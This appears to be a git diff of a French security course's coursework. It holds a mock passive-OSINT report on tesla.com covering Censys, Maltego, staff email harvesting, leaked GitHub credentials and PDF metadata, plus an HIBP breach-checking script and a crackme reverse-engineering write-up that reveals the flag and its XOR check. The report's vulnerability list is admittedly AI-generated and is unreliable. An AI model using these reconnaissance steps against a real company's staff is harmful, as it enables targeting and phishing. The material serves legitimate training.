a/Semaine_10/Jour_02/TP4_BOICHE_Gauvain.md b/Semaine_10/Jour_02/TP4_BOICHE_Gauvain.md new file mode 100644 index 0000000..7037eef --- /dev/null +++ b/Semaine_10/Jour_02/TP4_BOICHE_Gauvain.md @@ -0,0 +1,333 @@ +# TP4 - Florian POMPIDOU + +NB : Encore une fois, tout passage entre parenthèses et INTEGRALEMENT en italique (comme ceci) constitue un commentaire hors-rapport, pour donner du contexte ou du détail. + +## Demande client + +> Votre chef de mission vous contacte une dernière fois en fin d'après-midi : + +> "Le RSSI de Tesla veut un document livrable propre d'ici 17h. Pas un dump de terminal — un rapport structuré qu'il peut présenter à son DG demain matin. Résumé exécutif, surface d'attaque, findings priorisés, recommandations actionnables. Et nettoyez vos métadonnées avant d'envoyer." + +> Vous produisez le rapport final. + +## 1. Résumé + +A la demande du client (ici nommé **Tesla Motors**), la société **Synapse Security** a conduit un ensemble de recherches et de dévoilement de surfaces d'attaques techniques et sociales dans un contexte dit **Passif** (c'est à dire par la récupération de rapports, d'analyses et d'éléments tiers sans approche directe) pour simuler, au mieux, les capacités d'Intelligence en Sources Ouvertes (dites **OSINT**) venues d'individus isolés ou d'organisations désireuses d'agir sans trace. + +Après une analyse topographique classique en partant du domaine principal et commercialement exploité `tesla.com`, et par un maillage d'outils spécialisés disponibles gratuitement dans leur version la plus simple pour la plupart des systèmes d'exploitation : + +- **Synapse Security** peut attester que les informations autour des domaines et sous-domaines sont bien accessibles depuis l'extérieur, avec ou sans obfuscation +- Que la structure de l'environnement technique est trop facilement exploitable en l'état, avec l'ensemble des sous-domaines techniques, administratifs et de test accessibles + +## 2. Périmètre + +**Synapse Security** a procédé à plusieurs analyses de surface selon les besoins concrets de chaque périmètre : + +- Le domaine racine et ses sous-domaines +- Les équipements affectés par chaque des précédents (sous-)domaines +- Les technologies utilisées derrière chaque équipement +- Les vulnérabilités derrière chaque technologie + +## 3. Périmètres techniques + +### A. Outils primaires grand publics + +Les informations relevées par des outils basiques "WHO IS", accessibles depuis de nombreux sites internet spécialisés, indiquent une structure nominale basique et sécurisée. Date de dépôt du nom de domaine, serveurs courriels, informations sur les services autorisés à user du domaine `tesla.com`, etc. + +### B. Moteur de recherche "Internet Of Things" + +En deuxième instance, nous avons relevé les équipements liés à `tesla.com` depuis un moteur de recherche spécialisé dans l'Internet Des Objets (IoT), **Censys**, capable de relever tout équipement publiquement accessible, même si noyé dans la masse informative. + +(*Requête Censys utilisée, mais derrière plan payant :*) +```sql +(tesla.com) and (web.cert.names = tesla.com) and (host.services.vulns.id: * or web.vulns.id: *) +``` + +Les premiers rapports relèvent les adresses, emplacements, prestataires et nature des équipements constituant l'infrastructure de `tesla.com`, à savoir nominativement des bases de données, des unités de calcul et éléments de publication web, situés majoritairement aux Etats-Unis, avec réplication locale en Allemagne, loué quasi intégralement chez AKAMAI. + +Ce moteur indique également les ports ouverts sur chaque équipement, les services connectés derrière chacun d'eux, et recoupe ces informations avec les bases de données publiques sur les vulnérabilités techniques, dites CVEs. + +### C. Surface d'attaque par Ingénierie Sociale + +En troisième instance, **Synapse Security** a procédé par le biais d'un outil de recherche relationnelle d'éléments, via l'outil **Maltego**, à trouver toute fuite potentielle d'éléments permettant d'établir un organigramme avec éléments personnels - comme les adresses courriel - et une base de contact non sanctionnée. + +Par un recoupement depuis le domaine `tesla.com` et sur base d'une terminaise d'adresse en `@tesla.com` a été établi une liste de plus de 50 personnes, incluant des membres de la direction, dont les sources renvoyaient vers des blogs amateurs, des sites d'affichage de rapports techniques (sans gravité ni éléments confidentiels) ainsi que des espaces de recrutement. + +Récupérant ces informations, nous avons pu identifier : + +- la structure d'adressage interne +- un organigramme des personnes à responsabilité (Ressources Humaines, Direction Générale, etc) ainsi que leurs adresses pprofessionnelles +- les profils sur les réseaux sociaux + +### D. Recherche d'éléments techniques fuités dans le code source ouvert + +Des examens sur **GitHub**, dépôt centralisé de codes sources (ouverts ou fermés) dont celui de **Tesla Motors**, il a été retrouvé plusieurs morceaux incluant des informations de connexion tiers (nominativement une clef API [permettant la connexion à des services par ligne de commande] ainsi qu'un compte de test avec un mot de passe en clair prédéfini). + +### E. Surface d'attaque par exploitation des métadonnées + +En dernière instance, les documents accessibles, intégralement des documents techniques à usage des particuliers et des concessionnaires, ont semblé comporter des métadonnées attendues pour de tels documents, et ne semble constituer aucun problème majeur. + +## 4. Failles majeures + +(*Faute de rapport généré par moi, voici un relevé de CVEs passées autour de tesla.com. Relevé et détails donnés par Gemini Pro 3.5 en mode Raisonnement.*) + +### A. Interface de gestion détournable sur serveur principal + +- `Élement concerné `: Interface F5 BIG-IP +- `Description `: Un serveur exécutant l'interface de gestion TMUI a été concerné par la "CVE-2023-46747", permettant l'accès au compte administrateur total du serveur +- `Criticité `: 80/100 (Critique) +- `Points de faille `: + - Version FR BIG-IP 17.x +- `Correction `: Mise à jour de version + +### B. Injection de script malveillant sur le portail employé Support + +- `Élement concerné `: Zone support de tesla.com +- `Description `: Le portail de connexion des employés `support.tesla.com` et `vitals.tesla.com` permettent l'injection de script (vulnérabilité Cross-Site Scripting, dite XSS) envoyé depuis les formulaires accessibles au client, exécuté avec les privilèges des employés connectés. +- `Criticité `: 59,5/100 (Elevé) +- `Points de faille `: + - Code source propriétaire mal revu +- `Correction `: Revue de code prioritaire + +### C. Injection de script malveillant sur la page d'achat + +- `Élement concerné `: Page de paiement de tesla.com +- `Description `: La page gérant le tunnel d'achat et le configurateur des paiements permet également l'injection de script (XSS), le serveur principal pouvant recevoir des requêtes de paiement de domaines n'étant pas `tesla.com`. +- `Criticité `: 45/100 (Moyenne) +- `Points de faille `: + - API HTML5 window.postMessage mal utilisé et mal implémenté +- `Correction `: Revue de code prioritaire + +### D. Certificats de sous-domaines expirés + +- `Élement concerné `: Sous-domaines avec certificat de sécurité/authenticité expiré +- `Description `: Plusieurs sous-domaines (notamment engage.tesla.com) ont +- `Criticité `: 28/100 (Faible) +- `Points de faille `: + - Erreur de gestion dans le renouvellement des certificats +- `Correction `: Renouvellement manuel, puis reprise des mécaniques de renouvellement automatique + +## 5. Recommendations + +Les recommandations pour éviter les attaques exploitant ces aspects évoqués : + +1. Utiliser des domaines racines différents selon l'environnement + - tesla.com pour la vitrine commerciale + - tesla.net pour les APIs et autres serveurs "privés" devant communiquer aux éléments publics (comme les véhicules) + - tesla.io pour la préproduction et les environnements de test, accessible UNIQUEMENT derrière un VPN d'entreprise +2. Utiliser un autre paradigme pour les courriels internes + 1. Utiliser un nom de domaine racine différent, type `people-tesla.com` + 2. Ajouter un identifiant numérique après la structure pnom@tesla.com pour randomiser les adresses +3. Mise à jour de la base de code et des versions logicielles en priorité +4. Mettre en place des tests unitaires avec des analyseurs de code statique (type **SonarQube**) pour vérifier l'absence d'identifiants en dur + +## 6. Annexes + +### Annuaire d'adresses +![alt text](image-6.png) + +### Sources des fuites d'adresses +![alt text](image-4.png) + +### Individus avec profils sociaux +![alt text](image-10.png) + +### Identifiants en base de code +![alt text](image-11.png) + +## HORS RAPPORT : Les métadonnées + +Partie Hors Rapport, donc c'est moi qui parle. + +J'exporte le MarkDown en PDF (je fais un premier export avant de rédiger pour exploiter les métadonnées) et voici le retour terminal : + +```powershell +> exiftool .\TP4_BOICHE_Gauvain.pdf +ExifTool Version Number : 13.59 +File Name : TP4_BOICHE_Gauvain.pdf +Directory : . +File Size : 794 kB +File Modification Date/Time : 2026:06:09 17:14:56+02:00 +File Access Date/Time : 2026:06:09 17:16:09+02:00 +File Creation Date/Time : 2026:06:09 15:52:39+02:00 +File Permissions : -rw-rw-rw- +File Type : PDF +File Type Extension : pdf +MIME Type : application/pdf +PDF Version : 1.4 +Linearized : No +Page Count : 7 +Tagged PDF : Yes +Language : en-US +Title : TP4_BOICHE_Gauvain.md +Creator : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0 +Producer : Skia/PDF m149 +Create Date : 2026:06:09 15:14:55+00:00 +Modify Date : 2026:06:09 15:14:55+00:00 + +> exiftool .\TP4_BOICHE_Gauvain.md +ExifTool Version Number : 13.59 +File Name : TP4_BOICHE_Gauvain.md +Directory : . +File Size : 8.9 kB +File Modification Date/Time : 2026:06:09 17:14:52+02:00 +File Access Date/Time : 2026:06:09 17:14:52+02:00 +File Creation Date/Time : 2026:06:09 15:48:39+02:00 +File Permissions : -rw-rw-rw- +File Type : TXT +File Type Extension : txt +MIME Type : text/plain +MIME Encoding : utf-8 +Byte Order Mark : No +Newlines : Windows CRLF +Line Count : 139 +Word Count : 1218 +``` + +Ce n'est pas grand chose. Je prends un de mes vieux CV pour voir si les métadonnées que j'y ai passées sont bien affichées : + +```powershell +> exiftool .\BOICHE_Gauvain_CV_Devops_01.pdf +ExifTool Version Number : 13.59 +File Name : BOICHE_Gauvain_CV_Devops_01.pdf +Directory : . +File Size : 285 kB +File Modification Date/Time : 2025:07:25 11:08:52+02:00 +File Access Date/Time : 2025:07:31 09:52:20+02:00 +File Creation Date/Time : 2025:07:25 11:08:52+02:00 +File Permissions : -rw-rw-rw- +File Type : PDF +File Type Extension : pdf +MIME Type : application/pdf +PDF Version : 1.7 +Linearized : Yes +Language : fr-FR +XMP Toolkit : Adobe XMP Core 9.1-c002 79.a6a6396, 2024/03/12-07:48:23 +Format : application/pdf +Title : Curriculum Vitae - Gauvain BOICH├ë +Creator : Gauvain BOICH├ë +Rights : Les ├®l├®ments pr├®sents peuvent librement servir d'inspiration. +Create Date : 2025:07:25 11:08:51+02:00 +Metadata Date : 2025:07:25 11:08:51+02:00 +Modify Date : 2025:07:25 11:08:51+02:00 +Creator Tool : Adobe InDesign 19.4 (Windows) +Instance ID : uuid:1abfa9bc-9932-4199-91e0-8d855f45b98d +Original Document ID : xmp.did:3d94839e-3e42-d742-8ba4-d2b929b49275 +Document ID : xmp.id:94e5fbe4-11d0-f245-8fb0-2d135c6aa1cb +Rendition Class : proof:pdf +History Action : converted +History Parameters : from application/x-indesign to application/pdf +History Software Agent : Adobe InDesign 19.4 (Windows) +History Changed : / +History When : 2025:07:25 11:08:51+02:00 +Derived From Instance ID : xmp.iid:7cd9b83f-2caa-f944-9109-f24033eabcec +Derived From Document ID : xmp.did:3d94839e-3e42-d742-8ba4-d2b929b49275 +Derived From Original Document ID: xmp.did:3d94839e-3e42-d742-8ba4-d2b929b49275 +Derived From Rendition Class : default +Authors Position : Administrateur Syst├¿mes & R├®seaux +Country : France +City : [Ca je censure pour ici, faut pas déconner] +Date Created : 2024:03:09 17:00 +Marked : False +Producer : Adobe PDF Library 17.0 +Trapped : False +Creator Work Telephone : [Ca je censure pour ici, faut pas déconner] +Creator Work Email : [Ca je censure pour ici, faut pas déconner] +Creator Work URL : https://gauvainboiche.bzh +Creator City : [Ca je censure pour ici, faut pas déconner] +Creator Country : [Ca je censure pour ici, faut pas déconner] +Creator Postal Code : [Ca je censure pour ici, faut pas déconner] +Page Layout : OneColumn +Page Count : 1 +Profile CMM Type : Linotronic +Profile Version : 2.1.0 +Profile Class : Display Device Profile +Color Space Data : RGB +Profile Connection Space : XYZ +Profile Date Time : 1998:02:09 06:49:00 +Profile File Signature : acsp +Primary Platform : Microsoft Corporation +CMM Flags : Not Embedded, Independent +Device Manufacturer : Hewlett-Packard +Device Model : sRGB +Device Attributes : Reflective, Glossy, Positive, Color +Rendering Intent : Perceptual +Connection Space Illuminant : 0.9642 1 0.82491 +Profile Creator : Hewlett-Packard +Profile ID : 0 +Profile Copyright : Copyright (c) 1998 Hewlett-Packard Company +Profile Description : sRGB IEC61966-2.1 +Media White Point : 0.95045 1 1.08905 +Media Black Point : 0 0 0 +Red Matrix Column : 0.43607 0.22249 0.01392 +Green Matrix Column : 0.38515 0.71687 0.09708 +Blue Matrix Column : 0.14307 0.06061 0.7141 +Device Mfg Desc : IEC http://www.iec.ch +Device Model Desc : IEC 61966-2.1 Default RGB colour space - sRGB +Viewing Cond Desc : Reference Viewing Condition in IEC61966-2.1 +Viewing Cond Illuminant : 19.6445 20.3718 16.8089 +Viewing Cond Surround : 3.92889 4.07439 3.36179 +Viewing Cond Illuminant Type : D50 +Luminance : 76.03647 80 87.12462 +Measurement Observer : CIE 1931 +Measurement Backing : 0 0 0 +Measurement Geometry : Unknown +Measurement Flare : 0.999% +Measurement Illuminant : D65 +Technology : Cathode Ray Tube Display +Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract) +Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract) +Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract) +Author : Gauvain BOICH├ë +``` + +C'est déjà plus rigolo. Mais contrôlé. + +Voici un effet de nettoyage du PDF : + +```powershell +> exiftool .\TP4_BOICHE_Gauvain.pdf +ExifTool Version Number : 13.59 +File Name : TP4_BOICHE_Gauvain.pdf +Directory : . +File Size : 794 kB +File Modification Date/Time : 2026:06:09 17:14:56+02:00 +File Access Date/Time : 2026:06:09 17:16:22+02:00 +File Creation Date/Time : 2026:06:09 15:52:39+02:00 +File Permissions : -rw-rw-rw- +File Type : PDF +File Type Extension : pdf +MIME Type : application/pdf +PDF Version : 1.4 +Linearized : No +Page Count : 7 +Tagged PDF : Yes +Language : en-US +Title : TP4_BOICHE_Gauvain.md +Creator : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0 +Producer : Skia/PDF m149 +Create Date : 2026:06:09 15:14:55+00:00 +Modify Date : 2026:06:09 15:14:55+00:00 + +> exiftool -all= .\TP4_BOICHE_Gauvain.pdf +Warning: [minor] ExifTool PDF edits are reversible. Deleted tags may be recovered! - ./TP4_BOICHE_Gauvain.pdf + 1 image files updated + +> exiftool .\TP4_BOICHE_Gauvain.pdf +ExifTool Version Number : 13.59 +File Name : TP4_BOICHE_Gauvain.pdf +Directory : . +File Size : 794 kB +File Modification Date/Time : 2026:06:09 17:21:50+02:00 +File Access Date/Time : 2026:06:09 17:21:50+02:00 +File Creation Date/Time : 2026:06:09 15:52:39+02:00 +File Permissions : -rw-rw-rw- +File Type : PDF +File Type Extension : pdf +MIME Type : application/pdf +PDF Version : 1.4 +Linearized : No +Page Count : 7 +Tagged PDF : Yes +Language : en-US +``` \ No newline at end of file diff --git a/Semaine_10/Jour_02/TP4_BOICHE_Gauvain.pdf b/Semaine_10/Jour_02/TP4_BOICHE_Gauvain.pdf new file mode 100644 index 0000000..e924fef Binary files /dev/null and b/Semaine_10/Jour_02/TP4_BOICHE_Gauvain.pdf differ diff --git a/Semaine_10/Jour_02/hibp_bulk_checker.py b/Semaine_10/Jour_02/hibp_bulk_checker.py new file mode 100644 index 0000000..fd5acad --- /dev/null +++ b/Semaine_10/Jour_02/hibp_bulk_checker.py @@ -0,0 +1,104 @@ +import os +import csv +import time +import urllib.parse +import requests + +INPUT_FILE = "./addresses.txt" +OUTPUT_FILE = "./resultats_hibp.csv" +API_KEY = "API_KEY" +USER_AGENT = "Python-HIBP-Bulk-Checker" + +BASE_URL = "https://haveibeenpwned.com/api/v3/breachedaccount/" + +def check_email(email, api_key): + encoded_email = urllib.parse.quote(email.strip()) + url = f"{BASE_URL}{encoded_email}?truncateResponse=true" + + headers = { + "hibp-api-key": api_key, + "user-agent": USER_AGENT + } + + while True: + try: + response = requests.get(url, headers=headers) + + if response.status_code == 200: + # Found breaches + data = response.json() + breach_names = [breach['Name'] for breach in data] + return "Compromis (Pwned)", len(breach_names), "; ".join(breach_names) + + elif response.status_code == 404: + # Didn't find anything, means no breach or email doesn't exists + return "Sûr (Clean)", 0, "" + + # Exceptions (technicalities) + elif response.status_code == 429: + retry_after = int(response.headers.get("Retry-After", 2)) + print(f" [!] Limite de requêtes atteinte. Pause forcée de {retry_after} secondes...") + time.sleep(retry_after) + continue + + elif response.status_code == 401: + return "Erreur (Clé API invalide ou manquante)", 0, "" + + elif response.status_code == 403: + return "Erreur (Accès interdit / User-Agent bloqué)", 0, "" + + else: + return f"Erreur (Code HTTP {response.status_code})", 0, "" + + except requests.exceptions.RequestException as e: + return f"Erreur de connexion ({str(e)})", 0, "" + +def main(): + if not os.path.exists(INPUT_FILE): + print(f"[-] Erreur : Le fichier '{INPUT_FILE}' est introuvable.") + print(f"[*] Veuillez créer un fichier texte nommé '{INPUT_FILE}' à côté du script,") + print("[*] et ajoutez-y une adresse email par ligne.") + return + + if API_KEY == "VOTRE_CLE_API_ICI" or not API_KEY: + print("[!] Attention : N'oubliez pas d'insérer votre clé API HaveIBeenPwned dans la variable 'API_KEY'.") + print("[!] L'API v3 de HIBP nécessite obligatoirement une clé authentifiée (abonnement payant).") + print("-" * 60) + + with open(INPUT_FILE, "r", encoding="utf-8") as f: + emails = [line.strip() for line in f if line.strip()] + + if not emails: + print(f"[-] Le fichier '{INPUT_FILE}' est vide. Aucune adresse à analyser.") + return + + print(f"[*] Démarrage de l'analyse pour {len(emails)} adresse(s) email...") + print(f"[*] Les résultats seront enregistrés dans '{OUTPUT_FILE}'.\n") + + with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile: + writer = csv.writer(csvfile) + writer.writerow(["Email", "Statut", "Nombre de Breches", "Liste des Breches"]) + + for index, email in enumerate(emails, 1): + print(f"[{index}/{len(emails)}] Analyse de : {email} ...") + + status, count, breaches = check_email(email, API_KEY) + writer.writerow([email, status, count, breaches]) + + if count > 0: + # Has Been PWNED + print(f" -> {status} ! Trouvé dans {count} brèche(s) : {breaches}") + elif status == "Sûr (Clean)": + # Hasn't been + print(" -> Aucun problème détecté.") + else: + # Exception + print(f" -> {status}") + + time.sleep(1.5) + + print(f"\n[+] Analyse terminée avec succès !") + print(f"[+] Fichier de résultats généré : '{OUTPUT_FILE}'") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Semaine_10/Jour_02/image-1.png b/Semaine_10/Jour_02/image-1.png new file mode 100644 index 0000000..bdba366 Binary files /dev/null and b/Semaine_10/Jour_02/image-1.png differ diff --git a/Semaine_10/Jour_02/image-10.png b/Semaine_10/Jour_02/image-10.png new file mode 100644 index 0000000..267798c Binary files /dev/null and b/Semaine_10/Jour_02/image-10.png differ diff --git a/Semaine_10/Jour_02/image-11.png b/Semaine_10/Jour_02/image-11.png new file mode 100644 index 0000000..7e89304 Binary files /dev/null and b/Semaine_10/Jour_02/image-11.png differ diff --git a/Semaine_10/Jour_02/image-2.png b/Semaine_10/Jour_02/image-2.png new file mode 100644 index 0000000..0e916bc Binary files /dev/null and b/Semaine_10/Jour_02/image-2.png differ diff --git a/Semaine_10/Jour_02/image-3.png b/Semaine_10/Jour_02/image-3.png new file mode 100644 index 0000000..ac26ae2 Binary files /dev/null and b/Semaine_10/Jour_02/image-3.png differ diff --git a/Semaine_10/Jour_02/image-4.png b/Semaine_10/Jour_02/image-4.png new file mode 100644 index 0000000..fb7ca0f Binary files /dev/null and b/Semaine_10/Jour_02/image-4.png differ diff --git a/Semaine_10/Jour_02/image-5.png b/Semaine_10/Jour_02/image-5.png new file mode 100644 index 0000000..07417ff Binary files /dev/null and b/Semaine_10/Jour_02/image-5.png differ diff --git a/Semaine_10/Jour_02/image-6.png b/Semaine_10/Jour_02/image-6.png new file mode 100644 index 0000000..3c01907 Binary files /dev/null and b/Semaine_10/Jour_02/image-6.png differ diff --git a/Semaine_10/Jour_02/image-7.png b/Semaine_10/Jour_02/image-7.png new file mode 100644 index 0000000..a44af6b Binary files /dev/null and b/Semaine_10/Jour_02/image-7.png differ diff --git a/Semaine_10/Jour_02/image-8.png b/Semaine_10/Jour_02/image-8.png new file mode 100644 index 0000000..b794a45 Binary files /dev/null and b/Semaine_10/Jour_02/image-8.png differ diff --git a/Semaine_10/Jour_02/image-9.png b/Semaine_10/Jour_02/image-9.png new file mode 100644 index 0000000..1e24215 Binary files /dev/null and b/Semaine_10/Jour_02/image-9.png differ diff --git a/Semaine_10/Jour_02/image.png b/Semaine_10/Jour_02/image.png new file mode 100644 index 0000000..a64a2de Binary files /dev/null and b/Semaine_10/Jour_02/image.png differ diff --git a/Semaine_10/Jour_02/maltego.logs b/Semaine_10/Jour_02/maltego.logs new file mode 100644 index 0000000..c98dcd1 --- /dev/null +++ b/Semaine_10/Jour_02/maltego.logs @@ -0,0 +1,31 @@ +[6/9/26, 10:05 AM] INFO Running transform [Utilities] To DNS Name (interesting) [SecurityTrails] on 1 entities (from entity "tesla.com") +[6/9/26, 10:05 AM] INFO Transform [Utilities] To DNS Name (interesting) [SecurityTrails] completed in 4 s 372 ms with 24 entities returned (from entity "tesla.com") +[6/9/26, 10:08 AM] INFO Running transform [Utilities] To IP Address [DNS] on 24 entities (from 24 entities) +[6/9/26, 10:08 AM] WARNING DNS record not found (from 24 entities) +[6/9/26, 10:09 AM] WARNING No answer (from 24 entities) +[6/9/26, 10:09 AM] WARNING DNS record not found (from 24 entities) +[6/9/26, 10:09 AM] INFO Transform [Utilities] To IP Address [DNS] completed in 6 s 481 ms with 27 entities returned (from 24 entities) +[6/9/26, 10:09 AM] INFO Running transform [Utilities] To Email address [From whois info] on 16 entities (from 16 entities) +[6/9/26, 10:09 AM] INFO Transform [Utilities] To Email address [From whois info] completed in 4 s 579 ms with 69 entities returned (from 16 entities) +[6/9/26, 10:46 AM] INFO Running transform [Utilities] To Emails @domain [Search Engine] on 1 entities (from entity "tesla.com") +[6/9/26, 10:47 AM] INFO Transform [Utilities] To Emails @domain [Search Engine] completed in 13 s 911 ms with 10 entities returned (from entity "tesla.com") +[6/9/26, 10:51 AM] INFO Running transform [Utilities] To IP Address [DNS] on 7 entities (from 7 entities) +[6/9/26, 10:51 AM] WARNING DNS record not found (from 7 entities) +[6/9/26, 10:51 AM] WARNING No answer (from 7 entities) +[6/9/26, 10:51 AM] WARNING DNS record not found (from 7 entities) +[6/9/26, 10:51 AM] INFO Transform [Utilities] To IP Address [DNS] completed in 2 s 210 ms (from 7 entities) +[6/9/26, 10:52 AM] INFO Running transform [Utilities] To Email Addresses [Search Engine] on 1 entities (from entity "tesla.com") +[6/9/26, 10:52 AM] INFO Transform [Utilities] To Email Addresses [Search Engine] completed in 13 s 668 ms with 3 entities returned (from entity "tesla.com") +[6/9/26, 10:52 AM] INFO Running transform [Utilities] To Emails @domain [Search Engine] on 1 entities (from entity "tesla.com") +[6/9/26, 10:53 AM] INFO Transform [Utilities] To Emails @domain [Search Engine] completed in 14 s 688 ms with 10 entities returned (from entity "tesla.com") +[6/9/26, 11:06 AM] INFO Running transform [Utilities] To Email Addresses [PGP] on 1 entities (from entity "tesla.com") +[6/9/26, 11:06 AM] INFO Transform [Utilities] To Email Addresses [PGP] completed in 2 s 862 ms with 24 entities returned (from entity "tesla.com") +[6/9/26, 11:19 AM] INFO Running transform [Utilities] To Files (Office) [Search Engine] on 1 entities (from entity "tesla.com") +[6/9/26, 11:19 AM] INFO Transform [Utilities] To Files (Office) [Search Engine] completed in 4 s 226 ms with 23 entities returned (from entity "tesla.com") +[6/9/26, 11:20 AM] INFO Running transform [Utilities] Parse meta information on 4 entities (from 4 entities) +[6/9/26, 11:20 AM] INFO Transform [Utilities] Parse meta information completed in 2 s 774 ms with 8 entities returned (from 4 entities) +[6/9/26, 11:22 AM] INFO Running transform [Utilities] To Person [PGP] on 37 entities (from 37 entities) +[6/9/26, 11:22 AM] INFO Transform [Utilities] To Person [PGP] completed in 7 s 833 ms with 31 entities returned (from 37 entities) +[6/9/26, 11:56 AM] INFO Running transform [Utilities] To Snapshots of Files (MimeType) [Wayback Machine] on 1 entities (from entity "tesla.com") +[6/9/26, 11:57 AM] WARNING Exception: Could not connect to Wayback server (from entity "tesla.com") +[6/9/26, 11:57 AM] INFO Transform [Utilities] To Snapshots of Files (MimeType) [Wayback Machine] completed in 32 s 8 ms (from entity "tesla.com") diff --git a/Semaine_10/Jour_02/tesla_com.mtgl b/Semaine_10/Jour_02/tesla_com.mtgl new file mode 100644 index 0000000..a49ec04 Binary files /dev/null and b/Semaine_10/Jour_02/tesla_com.mtgl differ diff --git a/Semaine_10/Jour_02/tesla_com.png b/Semaine_10/Jour_02/tesla_com.png new file mode 100644 index 0000000..1f53785 Binary files /dev/null and b/Semaine_10/Jour_02/tesla_com.png differ diff --git a/Semaine_10/Jour_03/.python-version b/Semaine_10/Jour_03/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_10/Jour_03/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_10/Jour_03/README.md b/Semaine_10/Jour_03/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_10/Jour_03/TP5_BOICHE_Gauvain.md b/Semaine_10/Jour_03/TP5_BOICHE_Gauvain.md new file mode 100644 index 0000000..db19f1f --- /dev/null +++ b/Semaine_10/Jour_03/TP5_BOICHE_Gauvain.md @@ -0,0 +1,145 @@ +# TP5 - Florian POMPIDOU + +## Fichier reçu + +Le client a reçu un fichier `crackme_esdi` ce matin. + +En première analyse : + +- `file ` : ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, [...] for GNU/Linux 3.2.0, stripped +- `objdump -f` : file format elf64-x86-64, architecture: i386:x86-64, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED +- `strings ` : Le contenu mentionne un CTF{mot_de_passe}, et surtout un `Usage: %s ` + +Un petit binaire sensé renvoyer un string si on entre le bon mot de passe. En apparence, rien ne permet de voir si un sous-programme s'exécute. + +## GDB + +Avec GDB, on peut voir un point d'entrée à l'adresse `0x401060`. Un `disas` ne marche pas, le programme est stripped. + +J'ai fait un `x/30i 0x401060` (e`x`amine `30` éléments comme `i`nstructions) et j'ai reçu des données assembleur : + +```c + 0x401060: xor %ebp,%ebp + 0x401062: mov %rdx,%r9 + 0x401065: pop %rsi + 0x401066: mov %rsp,%rdx + 0x401069: and $0xfffffffffffffff0,%rsp + 0x40106d: push %rax + 0x40106e: push %rsp + 0x40106f: xor %r8d,%r8d + 0x401072: xor %ecx,%ecx + 0x401074: mov $0x4011fa,%rdi + 0x40107b: call *0x2f57(%rip) # 0x403fd8 + 0x401081: hlt + 0x401082: cs nopw 0x0(%rax,%rax,1) + 0x40108c: nopl 0x0(%rax) + 0x401090: ret + 0x401091: cs nopw 0x0(%rax,%rax,1) + 0x40109b: nopl 0x0(%rax,%rax,1) + 0x4010a0: mov $0x404028,%eax + 0x4010a5: cmp $0x404028,%rax + 0x4010ab: je 0x4010c0 + 0x4010ad: mov $0x0,%eax + 0x4010b2: test %rax,%rax + 0x4010b5: je 0x4010c0 + 0x4010b7: mov $0x404028,%edi + 0x4010bc: jmp *%rax + 0x4010be: xchg %ax,%ax + 0x4010c0: ret + 0x4010c1: data16 cs nopw 0x0(%rax,%rax,1) + 0x4010cc: nopl 0x0(%rax) + 0x4010d0: mov $0x404028,%esi +``` + +Je vois l'adresse `0x4011fa` qui inscrit dans le registre RDI. Je fouille 40 éléments dessus. + +Décortiquage : + +1. `0x401209: cmpl $0x2,-0x4(%rbp)` => le programme attend deux `argc`, sous le format `./binaire `, comme le texte "Usage:" le laissait entendre, avec un `je` (Jump if Equal) qui enquille +2. Si le `je` n'est pas activé, il continue et renvoie un premier `call` de la fonction ``, certainement le texte "Usage:" en question, avec un `jmp` +3. `0x40123f: mov (%rax),%rax` => L'argument du binaire est mis dans le registre RDI et appelle la fonction adresse `0x401146`, avant un `test` type `%eax` +4. Si le résultat n'est pas égal à 0 (donc pas de renvoi *False*), un `jne` (Jump if Not Equal) envoie le résultat sur une deuxième vérification adresse `0x401277` +5. Si le deuxième test renvoie 0, il appelle un premier ``, certainement un message d'erreur +6. Si non, il renvoie une dernière fois à un `call` qui renvoie à un `jne` qui renvoie le résultat à l'adresse `0x401291`. C'est très certainement là qu'on a la fonction de fin réussie + +### Les messages des fonctions : + +Les adresses en questions sont en commentaires des lignes `lea` : + +- `x/s 0x402008` : `0x402008: "Usage: %s \n"` +- `x/s 0x40201e` : `0x40201e: "[-] Incorrect length."` +- `x/s 0x402034` : `0x402034: "[-] Checksum failed."` + +Je retrouve les informations du `strings ./crackme_esdi` du début. + +### Analyse de lignes supplémentaires + +Avec un `x/20i 0x401280` je continue l'affichage des fonctions, et je relève les adresses en commentaires des `lea` : + +- `x/s 0x402049` : `0x402049: "[-] Access denied."` +- `x/s 0x402060` : `0x402060: "[+] Access granted! Flag: CTF{3l1t3_R3v3rs3r}"` + +J'obtiens le résultat, mais je poursuis en cherchant les deux adresses `call` vues plus haut suite au `x/40i 0x4011fa`, à savoir les adresses `0x401146` et `0x40116a`. + +Je peux m'arrêter à `0x401146`, qui sort un `cmp $0xe,%rax`. Une conversion HEXA => DEC me donne 0xe comme "14". La taille du mot de passe du "CTF{}". + +## Script Python + +Pour automatiser le processus, il faut considérer qu'un script ne lira PAS le code en clair dans le retour de fonction finale. Non, il faut qu'il trouve la valeur dans le binaire. + +### Déchiffrer les HURDLE + +Deux adresses derrière des fonctions de comparaison `cmp` (est-ce que le mot de passe en argument est égal au mot de passe dans la fonction ?) : `0x401190` et `0x4011a8`. Les résultats sont tombés : + +- `0x4011c6: movzbl (%rax),%eax ` : Charge un caractère de ton mot de passe : password[i] +- `0x4011c9: xor $0x42,%eax ` : Fait un XOR avec 0x42 (66 en décimal, ou le caractère 'B') +- `0x4011cc: mov %eax,%ecx ` : Stocke le résultat dans %cl + +- `0x4011d3: lea 0xeb6(%rip),%rdx ` : Calcule l'adresse de la clef cachée : 0x402090 +- `0x4011da: movzbl (%rax,%rdx,1),%eax` : Charge le vrai octet attendu : secret[i] +- `0x4011de: cmp %al,%cl ` : Comparaison /!\ +- `0x4011e0: je 0x4011e9 ` : Si c'est égal, on passe 